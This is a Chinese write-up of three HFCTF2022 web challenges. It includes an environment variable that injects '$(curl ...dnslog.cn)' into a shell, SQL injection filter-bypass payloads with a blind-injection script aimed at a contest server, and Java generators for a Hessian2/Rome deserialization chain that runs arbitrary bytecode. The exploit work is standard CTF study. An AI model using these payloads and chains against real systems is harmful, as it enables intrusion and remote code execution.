0%

HFCTF2022坐牢复现

HFCTF2022坐牢复现

高强度坐牢,四个web只会一个最简单的SQL。ezphp跟着p神文章调一天调不通自闭了。日路由器看都不想看,java很有兴趣但能力有限,复现会重点研究

ezphp

环境就和p神这篇文章的基本一致,用的nginx服务器,fpm通信是本地端口不是Unix socket,然后对着p神的文章搭了一个远程调试环境搞了好久。刚好把上个星期学codeql下的vscode利用起来了

调试环境搭建搭完就忘了怎么搞的了,反正最后配这个launch.json文件就行

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "gdb",
            "type": "cppdbg",
            "request": "launch",
            "program": "${workspaceFolder}/bin/dash",     
            "args": ["-c", "-xi", "echo hello"],
            "stopAtEntry": false,
            "cwd": "${workspaceFolder}",
            "environment": [
                {
                    "name": "PS4",
                    "value": "$(curl tfaf1s.dnslog.cn)"
                }
            ],
            "externalConsole": false,
            "MIMode": "gdb",
            "setupCommands": [
                {
                    "description": "为 gdb 启用整齐打印",
                    "text": "-enable-pretty-printing",
                    "ignoreFailures": false
                }
            ]
        }
    ]
}

根据p神的说法,ENV变量需要-i参数才能命令执行,复现成功,而system启用的为sh -c,Debian系sh软链接到dash,下载对应源码编译一个dash调试

除去p神说的ENV,还有三个备选选项PS1/2/4。分别调一下,先全局搜p神提到的入口函数expandstr,的确能迅速定位到PS系列变量进入了该函数,首先是ps4

image-20220323195947515

然而这里有一个xflag的判断,也就是需要-x

然后是这个getprompt里面有机会对ps1/2进expandstr

image-20220323200132881

但是需要看whichprompt的值,跟一下。这玩意是个全局变量,正如p神所言,这里面一把一把的全局变量,goto到还好没怎么见,全局变量满天飞。其在setprompt中赋值,继续追
有几个可能,一个是needprompt不为0即赋值为2,该值默认是0,还有一个doprompt,同样不为0时赋值为2

doprompt在parsecmd里初始化,其参数即为doprompt的值,然后找parsecmd的调用点

image-20220323200813413

传入的是inter,默认为0,有iflag的时候++,也就是-i,用不了,
还能找到一个赋值点是等于saveprompt,然而这段代码长这样。。

image-20220323201104572

而needprompt除了默认赋值为0外只有一个等于doprompt,也没有用

最终得到的结论是p神这个操作在Debian系下在只有一个-c的情况下全都不能触发。。。至少得-i或者-x。还得是暂且不论无法执行的情况下

即便如此我还调了一下p神说的变量能够解析但命令会报错的问题。psx系列变量的值找定义是一个复杂结构体,直接不想看,没找到赋值是在哪,在调试的时候发现其值一直是定值,并且在某个配置文件里面找到了对应的定值

image-20220323201331441

跟了一下ENV的成功流程,是从expandstr进expandarg进argstr进expbackq,进evalbackcmd进forkshell。然后里面fork了一下成功了。但实际上跟PS4的时候发现在某一步的时候switch case的值就不一样了。然后具体是哪出了问题就没调了。现在有点忘了,好像是argstr函数里出问题了?

最后看他们的解是hxpctf里面那招究极发文件让nginx缓存然后proc访问。env写LD_PRELOAD做到rce。。。这个比赛我打了的来着,但是一时间真没想到这个操作

以及这回文件读都没有,nginx进程就全靠猜。。。也不是不能爆,运气游戏嘛

baby_sql

是不是叫这个名字来着,忘了,反正这次比赛的名字不是baby就是ez。哈哈

SQL注入,给了个正则表达式的提示,还给了个hint.md的提示(我一开始以为要先打到读文件读这个hint.md。。。。结果是直接访问)

过滤了空格和括号,过滤括号算是大杀器了,然后还有些其他的乱七八糟字符比如\*()之类的,具体有哪些忘了,也过滤了union和binary两个关键字,登录操作是select用户名对应的所有,然后对密码进行一个强比较

提示了用正则就用呗,然后因为不知道密码,无论怎么登录都是401未授权,用户名处塞引号就SQL出错500,那么思路就是整数溢出注入了。直接~0+1急速构造出整数溢出。又因为密码列就在当前表下,直接regexp进行比对即可,对列名用反引号括起来替代空格,写了类似于这样子的payload

'||~0+'^a'regexp`password`&&'1

但是证书溢出的情况似乎不是很乐观,并没有产生溢出,不知道是不是因为这个奇怪的加法的原因,但不能用括号就不能if,不然就能直接~0+1

然后sql大师znj写了个case的操作完成了这一任务

'||case`password`regexp'^.+$'when'1'then~0+1+''else''end&&'1

写出盲注脚本,得出用户名密码长度和内容

import requests

# user qay8tefyzc67aeoo len 16
# pass m52fpldxyylb^eizar!8gxh$ len 24
url = "http://47.107.231.226:29514/login"

for i in range(10,60):
    data = {"username": "'||case`password`regexp'^.{}$'when'1'then~0+1+''else''end&&'1".format("{"+str(i)+"}"), "password": "1"}
    print(data['username'])
    res = requests.post(url, data)
    if res.status_code == 500:
        print(res.status_code)
        break


charset = "0123456789abcdefghijklmnopqrstuvwxyz!$&+./:<=>?@^`{|}~"
result = ""

for i in range(25):
    for c in charset:
        data = {"username": "'||case`password`like'{}%'when'1'then~0+1+''else''end&&'1".format(result+c), "password": "1"}
        res = requests.post(url, data)
        # print(data['username'])
        if res.status_code == 500:
            result += c
            print(data['username'])
            print("[+]result: "+result)
            break

注密码的时候发现密码有特殊字符,就有点难办,毕竟还有过滤,如果特殊字符还是过滤里面的就不好搞了,并且本身正则特殊字符有特殊含义也不好测。然后想起来like这个语句的语法特殊一些,就支持_%两个通配符,就能完整的注出用户名和密码

但是这里还有一个非常严峻的问题,密码没有大小写区分,而最后比对的时候必然区分大小写,题目不让用binary,且正则默认不区分大小写。想用正则的[a-z]这种区间写法但是短横线也不给用,[:upper:]这种语法能给我也把小写匹配上了。。。我当场大无语

然后数了下密码的字母位数,17位。想着要不就爆破算了,打不了跑四五个小时。。。

然后我就先睡了,第二天起来发现队友翻SQL文档翻到了这个collate操作打通了,加上即可

'||case`username`collate'utf8mb4_bin'regexp'^{}'when'1'then~0+1+''else''end&&'1

本地打的时候究极报错utf8mb4_bin和latin1字符集不匹配,然而我整个表的字符集都是utf8mb4来着

后来赛后交流发现他们多或一下写另一个正则语句然后把正则写成错的也行,但需要额外的操作,需要在第一个regexp的开头加一个@tmp:=,这是个啥玩意啊,完全看不懂,搜到的结果是可以替代空格,但是他们加了个这个之后就会导致前面的正则成功后后面的正则不判断了,否则都判断。太抽象了

@tmp:=test只能用在select关键字之后,等号后面的字符串随意

mysql的或逻辑本来就非常的诡异,并不是从左往右顺序执行的,可能本身和表达式的类型也有关

ez_chain

究极java。给的是一个没见过的全新反序列化。因为最近在学java所以会尽可能的写的详细一点

        public void handle(HttpExchange t) throws IOException {
            String query = t.getRequestURI().getQuery();
            Map<String, String> queryMap = this.queryToMap(query);
            String response = "Welcome to HFCTF 2022";
            if (queryMap != null) {
                String token = (String)queryMap.get("token");
                String secret = "HFCTF2022";
                if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) {
                    InputStream is = t.getRequestBody();

                    try {
                        Hessian2Input input = new Hessian2Input(is);
                        input.readObject();
                    } catch (Exception var9) {
                        response = "oops! something is wrong";
                    }
                } else {
                    response = "your token is wrong";
                }
            }

            t.sendResponseHeaders(200, (long)response.length());
            OutputStream os = t.getResponseBody();
            os.write(response.getBytes());
            os.close();
        }

过hashCode

直接碰也不是不行,但实际上java String类的hashCode函数非常的简单,所以可以直接构造一下image-20220323150431540

初始情况下hash都是0,这个值的作用就是在当前字符串计算过hash之后再次调用不会再算一次。所以只需要将第一个字符-1再将第二个字符+31即可实现一个hash相同的字符串GeCTF2022

Hessian2 反序列化

Hessian2,这个是一个不同于java反序列化的东西,它实现了自己的一套序列化反序列化流程,因此其利用链也与java反序列化的利用链不一致。但其同样存在反序列化漏洞,存在着与java反序列化不同的利用链,使用marshal工具可以生成对应的payload。从给出的依赖来看可以使用链的就是Rome的jndi注入。给出了dockerfile,目标的jdk版本为8u181,可以打reference直接打通,但是compose里写了给内网,又到了经典java不出网利用环节。以及不出网的jndi应该是没法打的吧。。

这里一开始想试一下出网的情况下这个环境能不能打通,试了半天没反应,最后才发现。。。我用的是jdk8u311。以及marshal生成payload的时候要把ldap协议带上。。。。总觉得这个错误犯了好几次了

Rome反序列化

先跟一下调用链吧。不然搞不清楚的。他这个地方反序列化打通了也不会出现报错,不像CC基本上都会崩掉直接输出调用栈好下断点。。。只能想办法找到在哪触发然后手下断点了

可以先看一下marshal里payload怎么写的来下断点,目测下在EqualBean和ToStringBean处,然后硬调。

经过了约莫大半个小时的调试,理出来了整个调用链
如前文所言,Hessian2实现了自己的反序列化流程,对于hashmap对象进行反序列化时,会使用一个MapDeserializer进行反序列化,其readMap方法中将map的值一一还原

        while(!in.isEnd()) {
            ((Map)map).put(in.readObject(), in.readObject());
        }

调用put方法,put方法会对key的hash进行计算,调用key的hashCode方法。而这里的key是EqualBean,其重写了hashCode方法,调用了自己的beanHashCode方法,进一步调用了自己的obj成员的toString方法
这里EqualBean的obj为ToStringBean,toString如下

image-20220323150900729

ToStringBean的obj为payload JdbcRowSetImpl,prefix获取到该值进入有参数的toString方法
这个方法会反射的把这个类的各种getter调用一遍(看的不是很懂,但是感觉是这个样子的,不知道能不能调private的)

image-20220323150933248

当对databaseMetaData这个属性的getter进行调用时,调用了connect触发了lookup。

    public DatabaseMetaData getDatabaseMetaData() throws SQLException {
        Connection var1 = this.connect();
        return var1.getMetaData();
    }

说起来这个东西我一开始调试到了这个函数但是没觉得这个函数会触发就略过了。。。

就调试情况而言可以认为该反序列化的触发点有两个,一个是寻找重写了hashCode方法的类,另一个是ToStringBean中的任意getter调用。说起调用getter触发的反序列化,那就全自动联想fastjson的几个payload。

fastjson三个利用这里已经用掉一个Jdbc了,tomcat的BCEL这里没有用不了,try1try经典templatesImpl

templatesImpl不能用

简单缝合了一下marshal,写了个templatesImpl的payload

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class RomeTest {
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Field f = s.getClass().getDeclaredField("size");
        f.setAccessible(true);
        f.set(s, 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Field tf = s.getClass().getDeclaredField("table");
        tf.setAccessible(true);
        tf.set(s, tbl);
        return s;
    }

    public static void main(String[] args) throws Exception{
        byte[] evilCode = SerializeUtil.getEvilCode();
        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
        SerializeUtil.setFieldValue(templates,"_name","cat");
        SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        HashMap evilMap = makeMap(equalsBean, equalsBean);

        HessianBase hb = new HessianBase();
        byte[] codes = hb.marshal(evilMap);
        System.out.write(Base64.getEncoder().encode(codes));
    }
}

然后调试一下,同上述反序列化利用链情况,通过get调用到了getOutputProperties,然后进newTransformer,getTransletInstance,defineTransletClasses。一切看起来都很顺利,而defineTransletClasses里面就有我们最喜欢的从bytecode中define class并返回出来进行newInstance的操作。然而也就是在这里出错了。这里调用了_tfactory的getExternalExtensionsMap()方法,而由于_tfactory是一个transient的变量,因此在序列化时不会被写入,也就意味着在这里是null,调用null的方法抛出了一个错误,导致该利用链失败了,fastjson是手动赋值上去并触发的,倒无所谓,也因此需要支持给private变量赋值才能使用,但那原来CC那些不也应该是这样子的吗?(我还真没思考过这个问题,或者说我没注意到这个变量是transient的。。。

开调!
CC的链随便缝一个用,这里用的是InstantiateTransformer直接newInstance的实现。快进到newInstance处
image-20220323151547353
查看iArg的值,iArg就是我们写payload的时候塞在InstantiateTransformer中的templatesImpl
image-20220323151638420

居然_tfactory有一个值,给我整麻了,理论上来说transient关键字的意思就是序列化的时候不会被写入啊?

再次得到java大师feng师傅的指导,原来是templatesImpl的readObject的最后一句直接new了一个tfactory上来。。。

image-20220323151944239

行吧,所以说原理就是Hessian2自己实现的反序列化中并没有对这些操作进行额外的复现,导致最后反序列化出来的templatesImpl类少了一个tfactory属性,导致payload无法触发(既然如此平常CC链序列化的时候又赋值一个tfactory又有什么意义呢。。。?序列化的时候都根本没有用过这个值。。。)

那么说到这里解法也就已经呼之欲出了,找到一个二次反序列化的点,并使用java原生readObject进行反序列化,即可完成整个攻击
上次tctf的buggyloader也是题目给的反序列化有问题找一个二次反序列化使用原生靠谱readObject打通的来着,但是这回我一开始都没弄清楚怎么回事,那个时候搜到了Rome的templatesImpl但是因为依赖包的奇怪错误坑的我有点混乱

二次反序列化

算了吧,自动化挖掘完全不会,之前codeql坐牢还没做完,并且这种闭源代码,或者说没有直接源码可以编译的情况下,codeql完全用不了。改天学一下这种东西

我直接抄答案
java.security.SignedObject
还有这种东西,这个类也太猛了吧,自带的二次反序列化。。。

image-20220323154700790

get触发,直接看下能不能给fastjson用,然后content是一个private属性且无setter,和templatesImpl一样了,散了。以及fastjson是对存在的类成员名对应的getter进行调用吧(没仔细跟过),这个ToStringBean的getter调用有点怪,简单跟了一下没看懂,有一个地方莫名其妙的就返回了所有的getter方法,感觉是调用所有get开头的函数,而不是根据成员变量名去寻找getter

总之就是能触发到getObject函数

然后readObject打一套正常反序列化,HashMap的readObject本身也会调用hash函数去计算hash,仍然可以使用Rome的EqualsBean这一套

缝合一下,得到payload

    public static void main(String[] args) throws Exception{
        byte[] evilCode = SerializeUtil.getEvilCode();
        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
        SerializeUtil.setFieldValue(templates,"_name","cat");
        SerializeUtil.setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        ToStringBean toStringBean_t = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean_t = new EqualsBean(ToStringBean.class, toStringBean_t);
        HashMap evilMap_t = makeMap(equalsBean_t, equalsBean_t);

        Signature signature = Signature.getInstance("DSA");
        KeyPairGenerator kg = KeyPairGenerator.getInstance("DSA");
        kg.initialize(1024);
        KeyPair kp = kg.genKeyPair();
        SignedObject signedObject = new SignedObject(evilMap_t,kp.getPrivate(),signature);

        ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        HashMap evilMap = makeMap(equalsBean, equalsBean);

        HessianBase hb = new HessianBase();
        byte[] codes = hb.marshal(evilMap);
        System.out.write(Base64.getEncoder().encode(codes));
    }

缝合的时候写了垃圾代码,ToStringBean里面塞了个TemplatesImpl类,实际上应该塞Templates类,Templates类里面只有一个getOutputProperties,而TemplatesImpl里面一堆getter,会调用到一个

    public DOM getStylesheetDOM() {
        return (DOM)_sdom.get();
    }

而这个_sdom也是transient的,进行函数调用然后再次报错挂掉

这个师傅还提到了一个新的利用方案,因为Hessain2和java原生反序列化不一样,所以就算没有继承serializable的类也能反序列化
2022虎符CTF-Java部分
不过说是低版本才有?

回显

已经打到rce了,现在就是经典不出网回显环节了。两个打法,一个是究极反射拿response对象直接写response,另一个是究极调试框架找filter注册点之类的地方写内存马。这种思路性的东西可以看看ha1师傅的这篇Java Memory Shell & Tomcat
但是以前抄的payload都是经典tomcat回显或者spring回显,这把使用的东西看起来有点原生com.sun.net.httpserver.HttpServer

抄一个项目Java-Rce-Echo
虽然这个项目里面没有这个玩意的回显。。。

改天手动调,摸一下。

也可以直接抄ha1师傅的
虎符 2022 ezchain

调试payload触发位置的时候的坑
因为是ToStringBean的toString方法是最终的触发点,在IDEA进行调试的时候控制台会一直尝试去解析ToStringBean的值,就会疯狂调用toString疯狂触发payload。。。。我一开始payload写的是弹计算器,调试走一步弹一个给我整麻了

奇怪的依赖坑
直接搜rome的话搜到的依赖是

        <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>

这个包导入的内容和这个题目的依赖

        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.7.0</version>
        </dependency>

并且他们在功能上好像没有什么区别(粗略的看了一下),但是他们两个类的完全限定名不一样。。。一个是com.sun.syndication.feed.impl,另一个是com.rometools.rome.feed.impl,这里一开始给我整迷惑了。。。然后就卡住了